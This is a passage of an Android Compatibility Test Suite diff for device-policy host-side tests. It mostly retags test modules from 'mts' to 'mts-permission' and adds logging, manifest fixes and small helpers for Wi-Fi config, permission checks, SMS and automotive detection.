-                assertWithMessage("mWifiManager.removeNetwork(%s)", config.networkId)
+                Log.d(TAG, "Checking if SSID " + config.SSID + " / id " + config.networkId
+                        + " should be removed");
+                if (getConfiguredNetworks().stream()
+                        .noneMatch(c -> c.networkId == config.networkId)) {
+                    Log.d(TAG, "Skipping it");
+                    continue;
+                }
+                Log.d(TAG, "Removing using " + mWifiManager);
+                assertWithMessage("removeNetwork(%s)", config.networkId)
                         .that(mWifiManager.removeNetwork(config.networkId)).isTrue();
                 ++removeCount;
             }
         }
+        logConfigs("After removing " + removeCount, configs);
         assertWithMessage("number of removed configs (the DO created one and the regular one)")
                 .that(removeCount).isEqualTo(2);
     }
 
     public void testRegularAppCannotUpdateDeviceOwnerConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
         int updateCount = 0;
         for (WifiConfiguration config : configs) {
@@ -143,7 +157,7 @@
                 .that(updateCount).isAtLeast(1);
 
         // Assert nothing has changed
-        configs = mWifiConfigCreator.getConfiguredNetworks();
+        configs = getConfiguredNetworks();
         int notChangedCount = 0;
         for (WifiConfiguration config : configs) {
             Log.d(TAG, "testRegularAppCannotUpdateDeviceOwnerConfig(): testing " + config.SSID);
@@ -158,7 +172,7 @@
     }
 
     public void testRegularAppCannotRemoveDeviceOwnerConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
         int removeCount = 0;
         for (WifiConfiguration config : configs) {
@@ -175,7 +189,7 @@
                 .that(removeCount).isAtLeast(1);
 
         // Assert nothing has changed
-        configs = mWifiConfigCreator.getConfiguredNetworks();
+        configs = getConfiguredNetworks();
         int notChangedCount = 0;
         for (WifiConfiguration config : configs) {
             Log.d(TAG, "testRegularAppCannotRemoveDeviceOwnerConfig(): testing " + config.SSID);
@@ -216,6 +230,7 @@
             return;
         }
         Log.d(TAG, prefix + ": " + configs.size() + " configs: "
-                + configs.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+                + configs.stream().map((c) -> c.SSID + "/" + c.networkId)
+                        .collect(Collectors.toList()));
     }
 }
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index 6898a9d..dc3476e 100644
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -32,7 +32,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
@@ -52,7 +52,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "no_launcher_activity_AndroidManifest.xml",
     sdk_version: "current",
@@ -73,7 +73,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "no_permission_AndroidManifest.xml",
     sdk_version: "current",
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
index 728fb98..81dc7b6 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
@@ -35,6 +35,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.bp b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
index 081ccec..0777be0 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
@@ -36,6 +36,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
index b6f4cd2..ce091ea 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
@@ -36,6 +36,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
index dd061a8..f77dd24 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
@@ -28,6 +28,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
index a515d6b..df56c4d 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -42,7 +42,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
 }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index adb2ee0..3b8b877 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -43,8 +43,8 @@
     <uses-permission android:name="android.permission.REQUEST_PASSWORD_COMPLEXITY"/>
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application android:testOnly="true">
-
+    <application android:largeHeap="true"
+                 android:testOnly="true">
         <uses-library android:name="android.test.runner"/>
         <receiver android:name="com.android.cts.managedprofile.BaseManagedProfileTest$BasicAdminReceiver"
              android:permission="android.permission.BIND_DEVICE_ADMIN"
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
index 14d899f..495d285 100644
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
@@ -25,7 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
index 037e794..c113414 100644
--- a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
@@ -24,7 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
index 92181a9..5e119c2 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
@@ -36,6 +36,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
index 1fe0b28..09cb166 100644
--- a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
+++ b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
@@ -34,6 +34,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
index a359538..a8caa82 100644
--- a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
@@ -26,6 +26,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
index 4f141c4..83aacd7 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
@@ -37,6 +37,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
index 3ac997b..b007c23 100644
--- a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
@@ -38,6 +38,6 @@
         "vts10",
         "general-tests",
 	"sts",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SharingApps/Android.bp b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
index 9729aaf..110c0bd 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
@@ -37,7 +37,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "sharingapp1/AndroidManifest.xml",
 }
@@ -63,7 +63,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "sharingapp2/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
index b73f38a..af1f731 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
@@ -25,7 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     sdk_version: "current",
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
index d79c22c..a543c0a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
@@ -30,11 +30,11 @@
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".NonExportedActivity">
-                        android:exported=&quot;false&quot;&gt;
+        <activity android:name=".NonExportedActivity"
+             android:exported="false">
         </activity>
-        <activity android:name=".NonLauncherActivity">
-                        android:exported=&quot;true&quot;&gt;
+        <activity android:name=".NonLauncherActivity"
+             android:exported="true">
         </activity>
         <activity android:name=".SimpleActivityStartService"
              android:turnScreenOn="true"
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/OWNERS b/hostsidetests/devicepolicy/app/SimpleApp/OWNERS
index d9a2060..0fb0c30 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/OWNERS
+++ b/hostsidetests/devicepolicy/app/SimpleApp/OWNERS
@@ -1,2 +1 @@
-ctate@google.com
-hackbod@google.com
+include platform/frameworks/base:/services/core/java/com/android/server/am/OWNERS
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
index dbf0ffc..8848fdb 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
@@ -28,6 +28,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
index 2327596cd..05c8016 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
@@ -28,6 +28,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
index a0a7ac3..2e138fd 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
@@ -36,6 +36,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TestApps/Android.bp b/hostsidetests/devicepolicy/app/TestApps/Android.bp
index 2bfbf45..a5b8b52 100644
--- a/hostsidetests/devicepolicy/app/TestApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestApps/Android.bp
@@ -37,7 +37,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "testapp1/AndroidManifest.xml",
 }
@@ -63,7 +63,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "testapp2/AndroidManifest.xml",
 }
@@ -89,7 +89,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "testapp3/AndroidManifest.xml",
 }
@@ -115,7 +115,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "testapp4/AndroidManifest.xml",
 }
@@ -127,7 +127,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "shareduidapp1/AndroidManifest.xml",
 }
@@ -139,7 +139,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "shareduidapp2/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/TestIme/Android.bp b/hostsidetests/devicepolicy/app/TestIme/Android.bp
index 9998a48..a450ff7 100644
--- a/hostsidetests/devicepolicy/app/TestIme/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestIme/Android.bp
@@ -28,6 +28,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
index 48c61d3..b588d83 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
@@ -38,6 +38,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
index deda73f..7735d8d 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
@@ -38,6 +38,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
index d691fe4..363c471 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
@@ -25,6 +25,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
index 440b6da..4b3eb4e 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
@@ -28,6 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
index 32d53d1..c23ee9c 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
@@ -16,32 +16,34 @@
 
 package com.android.cts.deviceowner.wificonfigcreator;
 
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+
 import android.app.Activity;
 import android.content.Intent;
 import android.os.Bundle;
 import android.util.Log;
 
 import com.android.compatibility.common.util.WifiConfigCreator;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
 
 /**
  * A simple activity to create and manage wifi configurations.
  */
-public class WifiConfigCreatorActivity extends Activity {
+public final class WifiConfigCreatorActivity extends Activity {
     private static final String TAG = "WifiConfigCreatorActivity";
 
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
-        Log.i(TAG, "Created for user " + android.os.Process.myUserHandle());
         WifiConfigCreator configCreator = new WifiConfigCreator(this);
+        Log.i(TAG, "onCreate(): user=" + android.os.Process.myUserHandle() + " creator="
+                + configCreator);
         try {
             Intent intent = getIntent();
             String action = intent.getAction();
@@ -49,12 +51,15 @@
                 String ssid = intent.getStringExtra(EXTRA_SSID);
                 int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
                 String password = intent.getStringExtra(EXTRA_PASSWORD);
-                configCreator.addNetwork(ssid, false, securityType, password);
+                Log.d(TAG, "Creating network " + ssid);
+                int netId = configCreator.addNetwork(ssid, false, securityType, password);
+                Log.d(TAG, "new id : " + netId);
             } else if (ACTION_UPDATE_WIFI_CONFIG.equals(action)) {
                 int netId = intent.getIntExtra(EXTRA_NETID, -1);
                 String ssid = intent.getStringExtra(EXTRA_SSID);
                 int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
                 String password = intent.getStringExtra(EXTRA_PASSWORD);
+                Log.d(TAG, "Updating network " + ssid + " (id " + netId + ")");
                 configCreator.updateNetwork(netId, ssid, false, securityType, password);
             } else if (ACTION_REMOVE_WIFI_CONFIG.equals(action)) {
                 int netId = intent.getIntExtra(EXTRA_NETID, -1);
@@ -65,6 +70,7 @@
                 Log.i(TAG, "Unknown command: " + action);
             }
         } catch (InterruptedException ie) {
+            Thread.currentThread().interrupt();
             Log.e(TAG, "Interrupted while changing wifi settings", ie);
         } finally {
             finish();
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index dc32c9a..e6b3e1e 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -137,34 +137,54 @@
     }
 
     public static void checkPermission(String permission, int expected, String packageName) {
-        assertPermission(permission, packageName, getContext().getPackageManager()
-                .checkPermission(permission, packageName), expected);
+        checkPermission(getContext(), permission, expected, packageName);
+    }
+
+    public static void checkPermission(Context context, String permission, int expected,
+            String packageName) {
+        PackageManager pm = context.getPackageManager();
+        Log.d(LOG_TAG, "checkPermission(" + permission + ", " + expected + ", " + packageName
+                + "): " + "using " + pm + " on user " + context.getUser());
+        assertPermission(permission, packageName, pm.checkPermission(permission, packageName),
+                expected);
     }
 
     private static void assertPermission(String permission, String packageName, int actual,
             int expected) {
-        assertWithMessage("Wrong status for permission %s on package %s", permission, packageName)
-                .that(actual).isEqualTo(expected);
+        assertWithMessage("Wrong status for permission %s on package %s (where %s=%s and %s=%s)",
+                permission, packageName,
+                expected, permissionToString(expected), actual, permissionToString(actual))
+                        .that(actual).isEqualTo(expected);
     }
 
     /**
-     * Correctly check a runtime permission. This also works for pre-m apps.
+     * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
      */
     public static void checkPermissionAndAppOps(String permission, int expected, String packageName)
             throws Exception {
-        assertPermission(permission, packageName, checkPermissionAndAppOps(permission, packageName),
-                expected);
+        checkPermissionAndAppOps(getContext(), permission, expected, packageName);
     }
 
-    private static int checkPermissionAndAppOps(String permission, String packageName)
-            throws Exception {
-        PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0);
-        if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid)
+    /**
+     * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
+     */
+    public static void checkPermissionAndAppOps(Context context, String permission, int expected,
+            String packageName) throws Exception {
+        assertPermission(permission, packageName,
+                checkPermissionAndAppOps(context, permission, packageName), expected);
+    }
+
+    private static int checkPermissionAndAppOps(Context context, String permission,
+            String packageName) throws Exception {
+        Log.d(LOG_TAG, "checkPermissionAndAppOps(): user=" + context.getUser()
+                + ", permission=" + permission + ", packageName=" + packageName);
+        PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0);
+        if (context.checkPermission(permission, -1, packageInfo.applicationInfo.uid)
                 == PERMISSION_DENIED) {
             return PERMISSION_DENIED;
         }
 
-        AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
         if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow(
                 AppOpsManager.permissionToOp(permission), packageName,
                 packageInfo.applicationInfo.uid, null, null)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
index f15f56c..39f0abd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
@@ -111,6 +111,11 @@
         executeShellCommand("setprop %s '%s'", PROPERTY_STOP_BG_USERS_ON_SWITCH, value);
     }
 
+    protected boolean isPackageInstalledForUser(String packageName, int userId) throws Exception {
+        String result = executeShellCommand("pm list packages --user %d %s", userId, packageName);
+        return result != null && !result.isEmpty();
+    }
+
     private void executeDeviceOwnerPackageTestMethod(String className, String testName,
             int userId) throws Exception {
         runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName, userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index c30543b..b0fb7a1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -76,6 +76,7 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
 
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
     private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
     private static final String FEATURE_CAMERA = "android.hardware.camera";
     private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
@@ -83,7 +84,6 @@
     private static final String FEATURE_LEANBACK = "android.software.leanback";
     private static final String FEATURE_NFC = "android.hardware.nfc";
     private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam";
-
     private static final String FEATURE_PRINT = "android.software.print";
     private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
     private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
@@ -748,6 +748,10 @@
         assumeHasDeviceFeature(FEATURE_TELEPHONY);
     }
 
+    protected final void assumeSupportsSms() throws Exception {
+        assumeTrue("device doesn't support SMS", isSmsCapable());
+    }
+
     protected final void assumeHasNfcFeatures() throws DeviceNotAvailableException {
         assumeHasDeviceFeature(FEATURE_NFC);
         assumeHasDeviceFeature(FEATURE_NFC_BEAM);
@@ -1256,9 +1260,15 @@
         allowTestApiAccess(deviceAdminPkg);
     }
 
-    protected void allowTestApiAccess(String deviceAdminPkg) throws Exception {
-        CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", deviceAdminPkg);
-        executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", deviceAdminPkg);
+    /**
+     * Grants access to APIs marked as {@code @TestApi}.
+     *
+     * <p><b>Note:</b> the {@code application} tag of the app's manifest must contain
+     * {@code android:debuggable="true"}, otherwise it won't work on {@code user} builds.
+     */
+    protected void allowTestApiAccess(String pgkName) throws Exception {
+        CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", pgkName);
+        executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", pgkName);
     }
 
     protected void grantPermission(String pkg, String permission, int userId, String reason)
@@ -1337,6 +1347,10 @@
         return hasDeviceFeature(FEATURE_LEANBACK);
     }
 
+    boolean isAutomotive() throws DeviceNotAvailableException {
+        return hasDeviceFeature(FEATURE_AUTOMOTIVE);
+    }
+
     void pushUpdateFileToDevice(String fileName)
             throws IOException, DeviceNotAvailableException {
         File file = File.createTempFile(
@@ -1362,7 +1376,17 @@
     }
 
     void sleep(int timeMs) throws InterruptedException {
-        CLog.d("Sleeping %d ms");
+        CLog.d("Sleeping %d ms", timeMs);
         Thread.sleep(timeMs);
     }
+
+    private boolean isSmsCapable() throws Exception {
+        String output = getDevice().executeShellCommand("dumpsys phone");
+        if (output.contains("isSmsCapable=true")) {
+            CLog.d("Device is SMS capable");
+            return true;
+        }
+        CLog.d("Device is not SMS capable");
+        return false;
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index fbf8e80..091da10 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -21,6 +21,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.FlakyTest;
@@ -474,10 +475,12 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnPackageLogged() throws Exception {
+        int userId = getUserIdForAlwaysOnVpnTests();
         // Will be uninstalled in tearDown().
-        installAppAsUser(VPN_APP_APK, mUserId);
+        installAppAsUser(VPN_APP_APK, userId);
         assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn",
+                    userId);
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_ALWAYS_ON_VPN_PACKAGE_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings(VPN_APP_PKG)
@@ -555,6 +558,10 @@
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
         installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
+
+        if (isHeadlessSystemUserMode()) {
+            installAppAsUser(SIMPLE_PRE_M_APP_APK, mDeviceOwnerUserId);
+        }
         executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp");
     }
 
@@ -606,65 +613,11 @@
 
     @Test
     public void testApplicationHidden_cannotHidePolicyExemptApps() throws Exception {
+        // Needed to access dpm.getPolicyExemptApps()
+        allowTestApiAccess(DEVICE_ADMIN_PKG);
         executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
     }
 
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
